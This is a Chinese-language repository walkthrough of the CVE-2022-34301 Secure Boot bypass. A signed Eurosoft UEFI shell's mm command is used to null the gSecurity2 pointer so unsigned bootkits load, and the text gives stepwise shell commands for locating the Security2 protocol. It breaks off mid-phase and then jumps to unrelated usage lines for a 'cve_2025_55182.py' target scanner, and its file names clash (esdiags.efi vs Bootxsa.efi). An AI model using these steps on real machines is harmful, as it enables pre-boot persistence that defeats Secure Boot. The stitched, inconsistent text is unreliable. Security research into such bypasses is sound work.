演示了通过 Eurosoft 签名的 UEFI Shell(esdiags.efi)绕过 CVE-2022-34301 Secure Boot,使用 mm 命令将 gSecurity2 置空并加载未签名的 UEFI 应用程序。
Eurosoft Pc-Check UEFI 诊断 Shell - 自带易受攻击的 UEFI 应用程序 (BYOVUA) - 通过已签名的 UEFI Shell 和 gSecurity2 破坏实现 Secure Boot 绕过。
本仓库演示了 BYOVUA(自带易受攻击的 UEFI 应用程序) 技术,通过利用 CVE-2022-34301,这是 Eurosoft Pc-Check UEFI 诊断环境中的一个 Secure Boot 绕过漏洞。
在本例中,被 Secure Boot 信任的组件是 esdiags.efi,这是一个作为 Eurosoft Pc-Check UEFI 硬件诊断产品一部分分发的 UEFI Shell,由 Microsoft 的 UEFI 第三方证书颁发机构所信任的证书链签名。一旦执行,该 Shell 便暴露了 mm(内存修改)命令,从而在操作系统启动前的引导阶段提供任意内存读写能力。
随后,可利用这一原语在 DXE 核心中定位并使 gSecurity2 全局指针失效。结果,后续的 UEFI 映像验证被禁用,使得未签名的 UEFI 应用程序(引导套件)能够在 Secure Boot 已启用的情况下被加载。
BYOVUA 是内核层面所使用的 BYOVD(自带易受攻击的驱动程序)技术在 UEFI 中的对应物。攻击者不是携带一个带有漏洞的已签名内核驱动程序,而是携带一个已签名的 UEFI 应用程序——在本例中是一个完整的 UEFI Shell——其中包含能够破坏 Secure Boot 的功能。
由于该应用程序由 Secure Boot 所信任的证书链签名,它会被无条件接受,从而在任何将 Microsoft UEFI 第三方证书颁发机构纳入其 Secure Boot 数据库 (db) 的系统上都被视为可信——这几乎涵盖了过去十年中出货的每一台支持 UEFI 的 PC。一旦运行,其内置命令便为攻击者提供了直接的硬件和内存访问能力,这些操作发生在操作系统加载之前,处于一个现代安全控制(ASLR、DEP、内核保护)根本不存在的环境中。
esdiags.efi 是一个作为 Eurosoft Pc-Check UEFI 一部分分发的 UEFI Shell,这是一款预启动硬件诊断产品,被 PC 制造商、服务组织和 IT 团队用于裸机系统测试。
| 属性 | 值 |
|---|---|
| 文件 | EFI/Boot/Bootx64.efi (Microsoft) -> EFI/Boot/esdiags.efi (Shell) |
| 厂商 | Eurosoft (UK) Ltd |
| CVE | CVE-2022-34301 |
| 签名 | Microsoft Corporation UEFI CA 2011(第三方) |
| 发现者 | Eclypsium(Mickey Shkatov、Jesse Michael)- 2022 年 8 月 |
| 演讲 | DEF CON 30 - "One Bootloader to Load Them All" |
| 吊销 | 通过 Microsoft KB5012170 添加到 DBX(2022 年 8 月) |
该漏洞并非一个 bug——而是一个设计缺陷。UEFI Shell 是合法的诊断工具,从未打算在 Secure Boot 环境中运行。然而,通过使用 Microsoft 信任的证书对其进行签名,并将其作为商业产品的一部分分发,厂商无意中创建了一个已签名的 Secure Boot 绕过途径。
核心问题在于:一个被 Secure Boot 信任的已签名二进制文件,通过其内置命令提供了不受限制的内存读写能力。这种组合破坏了整个 Secure Boot 信任模型。
mm(内存修改)命令是一个标准的 UEFI Shell 内置命令,提供对系统内存的直接读写访问。它在 UEFI Shell 规范(第 5.3 节)中有文档记载。```
MM Address [Value] [-w 1|2|4|8] [-MEM | -MMIO | -IO | -PCI | -PCIE] [-n]
| 参数 | 描述 |
|-----------|-------------|
| `Address` | 目标内存地址 |
| `Value` | 要写入的值(只读时省略) |
| `-w` | 宽度:1、2、4 或 8 字节 |
| `-MEM` | 系统内存访问 |
| `-MMIO` | 内存映射 I/O |
| `-IO` | I/O 端口访问 |
| `-n` | 非交互模式(不提示下一个地址) |
---
<div id='gsecurity2'/>
### ***gSecurity2 与安全架构协议***
UEFI 中的安全启动映像验证是通过 [安全架构协议](https://uefi.org/specs/PI/1.8/V2_DXE_Architectural_Protocols.html#security-architectural-protocols) 强制实施的,该协议定义于 UEFI 平台初始化(PI)规范中。
DXE 核心(DxeMain)维护一个名为 [`gSecurity2`](https://github.com/tianocore/edk2/blob/edk2-stable202608/MdeModulePkg/Core/Dxe/DxeMain.h#L252) 的全局指针,它指向 `EFI_SECURITY2_ARCH_PROTOCOL` 结构。该协议包含一个函数指针——`FileAuthenticationState`——每次加载 UEFI 映像时,`LoadImage()` 都会调用它:```c
// EFI_SECURITY2_ARCH_PROTOCOL structure (PI Specification)
typedef struct _EFI_SECURITY2_ARCH_PROTOCOL {
EFI_SECURITY_FILE_AUTHENTICATION_STATE FileAuthenticationState;
} EFI_SECURITY2_ARCH_PROTOCOL;
// GUID: 94AB2F58-1438-4EF1-9152-18941A3A0E68
当调用 LoadImage() 时,DXE 核心会检查:```c
if (gSecurity2 != NULL)
{
Status = gSecurity2->FileAuthenticationState(gSecurity2, DevicePath, FileBuffer, FileSize, BootPolicy
);
if (EFI_ERROR(Status))
{
// Image rejected - signature verification failed
}
}
通过设置 `gSecurity2 = NULL`,`if` 检查失败,`FileAuthenticationState` 永远不会被调用。镜像验证被完全跳过——**Secure Boot 仍处于“启用”状态,但不再被强制执行**。未签名的 UEFI 应用程序随后可以自由加载。
要深入理解此技术,包括一个专门构建的、可自动定位并修补 gSecurity2 的 UEFI 应用程序,请参阅配套项目:[利用技术 - 通过 gSecurity2 破坏绕过 UEFI Secure Boot](https://github.com/TheMalwareGuardian/Exploitation-Technique-UEFI-SecureBoot-Bypass-gSecurity2-Corruption)。
---
<div id='BYOVD'/>
### ***与内核 BYOVD 的相似之处***
UEFI BYOVUA 与内核 BYOVD 之间的结构相似性是精确的:```
┌──────────────────────────────────────────────────────────────┐
│ UEFI BYOVUA (Secure Boot Bypass) │
│ │
│ Signed Shell ─ mm ─> gSecurity2 = NULL ─> Load unsigned │
│ (trusted by (Security2 Protocol) UEFI apps │
│ Secure Boot) │
├──────────────────────────────────────────────────────────────┤
│ Kernel BYOVD (DSE Bypass) │
│ │
│ Signed Driver ─ IOCTL ─> g_CiOptions = 0 ─> Load unsigned │
│ (trusted by (CI.dll) kernel drivers │
│ DSE / CI) │
└──────────────────────────────────────────────────────────────┘
两种攻击都利用了同一个根本缺陷:一个被安全机制信任的已签名组件,提供了禁用该机制本身所需的原语。
已签名的 esdiags.efi 被放置在 EFI 系统分区(ESP)上,并配置为启动选项。由于它由 Secure Boot 信任的证书链签名,固件会验证并顺利加载它。```
EFI System Partition (ESP)
└── EFI/
└── Boot/
└── Bootx64.efi (Microsoft) ← Signed by Microsoft Windows UEFI Driver Publisher
└── Bootxsa.efi (Shell) ← Signed by Eurosoft (UK) Ltd
---
<div id='Phase2'/>
### ***阶段 2 - 枚举 Security2 协议句柄***
从 UEFI Shell 出发,目标是找到暴露 `EFI_SECURITY2_ARCH_PROTOCOL`(GUID:`94AB2F58-1438-4EF1-9152-18941A3A0E68`)的句柄,并获取其协议接口的内存地址。
> **注意:** 在大多数 EDK2 Shell 构建中,`dh -p <GUID>` 命令无法解析原始 GUID——它只能识别已注册的协议名称。以下方法适用于任何 EDK2 Shell 版本。
**步骤 1 - 查找 SecurityStubDxe 句柄**
列出所有句柄并查找 `SecurityStubDxe`,它是安装两个安全架构协议的 DXE 驱动程序:```
Shell> dh
在输出中,识别加载为 SecurityStubDxe 的句柄:```
10: Image(SecurityStubDxe)
**步骤 2 - 检查相邻句柄**
`SecurityStubDxe` 在单独的句柄上安装 Security 协议,通常是紧随其后的那个句柄。这些句柄在简短列表中显示为空,因为 Shell 无法将其 GUID 映射为友好名称。使用详细模式检查它们:```
Shell> dh -v 11
预期输出:``` Handle 11 (3EFCEF18) A46423E3-4617-49F1-B9FF-D1BFA9115839 (3EE8C398) 94AB2F58-1438-4EF1-9152-18941A3A0E68 (3EE8C3A0)
如果句柄 `0x11` 不包含这些 GUID,请尝试 `0x12` —— 确切的句柄编号因固件版本而异。
**步骤 3 - 记录接口地址**
这两个协议及其接口地址如下:
| GUID | 协议 | 接口地址 |
|------|----------|-------------------|
| `A46423E3-4617-49F1-B9FF-D1BFA9115839` | `EFI_SECURITY_ARCH_PROTOCOL` (Security1) | `0x3EE8C398` |
| `94AB2F58-1438-4EF1-9152-18941A3A0E68` | `EFI_SECURITY2_ARCH_PROTOCOL` (Security2) | `0x3EE8C3A0` |
**Security2 接口地址**(在此示例中为 `0x3EE8C3A0`)是 DxeMain 内部 `gSecurity2` 全局指针所存储的值。该值在阶段 3 中需要用到。
---
<div id='Phase3'/>
### ***阶段 3 - 在内存中定位 gSecurity2***
`gSecurity2` 变量是 DXE 核心(`DxeMain`)内部的一个全局指针。其值等于在阶段 2 中找到的协议接口地址。目标是找到存储该指针的内存地址——不是指针的值,而是变量本身。
**步骤 1 - 获取 DXE 核心映像布局**```
Shell> dh -v 1
# 扫描单个目标
python3 cve_2025_55182.py -t https://target.example.com
# 使用详细输出进行扫描
python3 cve_2025_55182.py -t https://target.example.com -v
# 从文件扫描多个目标
python3 cve_2025_55182.py -f targets.txt -o results.json
# 使用自定义超时和线程数
python3 cve_2025_55182.py -f targets.txt -t 15 -w 20